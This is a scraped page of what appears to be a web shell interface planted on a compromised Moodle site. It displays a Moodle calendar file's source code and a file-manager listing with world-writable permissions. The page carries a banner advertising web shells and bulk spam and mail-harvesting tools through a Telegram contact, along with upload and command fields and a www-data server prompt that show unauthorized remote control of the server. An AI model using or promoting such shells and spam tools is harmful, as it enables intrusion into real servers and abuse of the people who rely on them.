__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * This file is part of the Calendar section Moodle
 * It is responsible for deleting a calendar entry + optionally its repeats
 *
 * @copyright 2009 Sam Hemelryk
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @package calendar
 */

require_once('../config.php');
require_once($CFG->dirroot.'/calendar/event_form.php');
require_once($CFG->dirroot.'/calendar/lib.php');
require_once($CFG->dirroot.'/course/lib.php');
require_once($CFG->dirroot.'/calendar/renderer.php');

$eventid = required_param('id', PARAM_INT);
$confirm = optional_param('confirm', false, PARAM_BOOL);
$repeats = optional_param('repeats', false, PARAM_BOOL);
$courseid = optional_param('course', 0, PARAM_INT);

$PAGE->set_url('/calendar/delete.php', array('id'=>$eventid));

if(!$site = get_site()) {
    redirect(new moodle_url('/admin/index.php'));
}

$event = calendar_event::load($eventid);

/**
 * We are going to be picky here, and require that any event types other than
 * group and site be associated with a course. This means any code that is using
 * custom event types (and there are a few) will need to associate thier event with
 * a course
 */
if ($event->eventtype !== 'user' && $event->eventtype !== 'site') {
    $courseid = $event->courseid;
}
$course = $DB->get_record('course', array('id'=>$courseid));
require_login($course);
if (!$course) {
    $PAGE->set_context(context_system::instance()); //TODO: wrong
}
$title = get_string('deleteevent', 'calendar');
// Check the user has the required capabilities to delete an event
if (!calendar_delete_event_allowed($event)) {
    throw new \moodle_exception('nopermissions', 'error', $PAGE->url, $title);
}

// Count the repeats, do we need to consider the possibility of deleting repeats
$event->timedurationuntil = $event->timestart + $event->timeduration;
$event->count_repeats();

// Is used several times, and sometimes with modification if required
$viewcalendarurl = new moodle_url(CALENDAR_URL.'view.php', array('view'=>'upcoming'));
$viewcalendarurl->param('time', $event->timestart, '%Y');

// If confirm is set (PARAM_BOOL) then we have confirmation of initention to delete
if ($confirm) {
    // Confirm the session key to stop CSRF
    if (!confirm_sesskey()) {
        throw new \moodle_exception('confirmsesskeybad');
    }
    // Delete the event and possibly repeats
    $event->delete($repeats);
    // If the event has an associated course then we need to include it in the redirect link
    if (!empty($event->courseid) && $event->courseid > 0) {
        $viewcalendarurl->param('course', $event->courseid);
    }
    // And redirect
    redirect($viewcalendarurl);
}

// Prepare the page to show the confirmation form
$strcalendar = get_string('calendar', 'calendar');

$PAGE->navbar->add($strcalendar, $viewcalendarurl);
$PAGE->navbar->add($title);
$PAGE->set_title($strcalendar.': '.$title);
$PAGE->set_heading($COURSE->fullname);
if ($course) {
    $PAGE->set_secondary_navigation(false);
}
echo $OUTPUT->header();
echo $OUTPUT->box_start('eventlist');

// Delete this event button is always shown
$url = new moodle_url(CALENDAR_URL.'delete.php', array('id'=>$event->id, 'confirm'=>true));
$buttons = $OUTPUT->single_button($url, get_string('delete'));

// And add the cancel button.
$buttons .= $OUTPUT->single_button($viewcalendarurl, get_string('cancel'));

// And show the buttons and notes.
echo $OUTPUT->box_start('generalbox', 'notice');
echo html_writer::tag('p', get_string('confirmeventdelete', 'calendar', format_string($event->name)));

// If there are repeated events then add a Delete Repeated button.
if (!empty($event->eventrepeats) && $event->eventrepeats > 0) {
    $url = new moodle_url(CALENDAR_URL.'delete.php', array('id'=>$event->repeatid, 'confirm'=>true, 'repeats'=>true));
    $buttons .= $OUTPUT->single_button($url, get_string('deleteall'));
    echo html_writer::tag('p', get_string('youcandeleteallrepeats', 'calendar', $event->eventrepeats));
}

echo $OUTPUT->box($buttons, 'buttons');
echo $OUTPUT->box_end();

echo $OUTPUT->box_end();
echo $OUTPUT->footer();

Filemanager

Name Type Size Permission Actions
amd Folder 0777
classes Folder 0777
templates Folder 0777
tests Folder 0777
type Folder 0777
delete.php File 4.66 KB 0777
event.php File 8.07 KB 0777
event_form.php File 8.17 KB 0777
export.php File 8.52 KB 0777
export_execute.php File 13.34 KB 0777
externallib.php File 61.62 KB 0777
import.php File 5.43 KB 0777
index.php File 116 B 0777
lib.php File 154.55 KB 0777
managesubscriptions.php File 5.7 KB 0777
renderer.php File 16.85 KB 0777
upgrade.txt File 6.57 KB 0777
view.php File 7.11 KB 0777
Filemanager